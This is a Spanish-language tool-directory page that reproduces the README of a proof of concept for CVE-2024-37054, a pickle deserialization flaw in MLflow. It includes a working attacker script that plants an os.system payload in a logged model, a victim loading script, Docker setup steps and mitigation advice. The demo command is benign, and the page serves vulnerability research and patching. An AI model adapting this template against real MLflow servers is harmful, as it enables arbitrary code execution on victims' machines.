Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, Este repositorio contiene una prueba de concepto (PoC) de una vulnerabilidad crítica de deserialización en MLflow que permite la ejecución remota de código (RCE). | Kitploit
Herramientas/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, Este repositorio contiene una prueba de concepto (PoC) de una vulnerabilidad crítica de deserialización en MLflow que permite la ejecución remota de código (RCE).

Ver Repositorio
329hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    599
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    394
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    277
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    257

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: Prueba de concepto (PoC) de ejecución remota de código en MLflow

CVE License GitHub LinkedIn


Este repositorio contiene una prueba de concepto (PoC) para CVE-2024-37054, una vulnerabilidad crítica de deserialización en MLflow que permite la ejecución remota de código (RCE).

📚 Tabla de contenidos

  • Detalles de la vulnerabilidad
  • Prueba de concepto (PoC)
  • Mitigación
  • Referencias
  • Acerca del autor

🚨 Detalles de la vulnerabilidad

  • ID de CVE: CVE-2024-37054
  • Resumen: Existe una vulnerabilidad de deserialización en la función mlflow.pyfunc.load_model. Un atacante puede crear un modelo malicioso que contenga una carga útil (payload) serializada con pickle. Cuando una víctima carga este modelo, la carga útil se deserializa mediante cloudpickle.load, lo que permite la ejecución de código arbitrario en la máquina de la víctima.
  • Productos afectados: Versiones de MLflow desde 0.9.0 hasta, sin incluir, 2.14.2.
  • Función vulnerable: _load_pyfunc dentro de mlflow/pyfunc/model.py.

🛠️ Prueba de concepto (PoC)

Esta PoC simula dos roles: un atacante que sube un modelo malicioso y una víctima que lo carga, desencadenando el RCE.

1. Configuración del entorno

La forma más sencilla de configurar un servidor MLflow vulnerable es utilizando el Dockerfile proporcionado.

Compilar y ejecutar el contenedor Docker:

# 1. Build the Docker image
docker build -t mlflow-vulnerable .

# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Tu servidor MLflow vulnerable ahora se está ejecutando en http://127.0.0.1:5000.

2. Pasos de ejecución

Necesitarás dos terminales separadas en tu máquina host. Asegúrate de tener una versión vulnerable de mlflow instalada localmente (pip install mlflow==2.14.1) para ejecutar los scripts de cliente.

Parte 1: Atacante: registrar el modelo malicioso

En tu primera terminal, ejecuta el script del atacante para registrar el modelo malicioso.

Haz clic para ver el script del atacante (poc/log_malicious_model.py)
# poc/log_malicious_model.py
import mlflow
import os

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

Ejecútalo:

python poc/log_malicious_model.py

Parte 2: Víctima: cargar el modelo vulnerable

En tu segunda terminal, ejecuta el script de la víctima para simular la carga del modelo comprometido.

Haz clic para ver el script de la víctima (poc/load_vulnerable_model.py)
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

Ejecútalo:

python poc/load_vulnerable_model.py

3. Observa el resultado

Después de ejecutar el script de la víctima, verás el mensaje /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found en la terminal, y se creará un nuevo archivo llamado pwned.txt en tu directorio. Esto confirma la ejecución exitosa del comando.


🛡️ Mitigación

  • Actualiza MLflow: Actualiza a la versión 2.14.2 o posterior, donde esta vulnerabilidad ha sido corregida.
  • Nunca cargues modelos no confiables: Solo carga modelos de ML de fuentes en las que confíes por completo.

🔍 Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Aviso original: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 Acerca del autor

Esta prueba de concepto fue desarrollada por Pujari Niteesh.

  • Ingeniero de investigación en ciberseguridad
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • Sitio web: www.niteesh.in
Descargar herramienta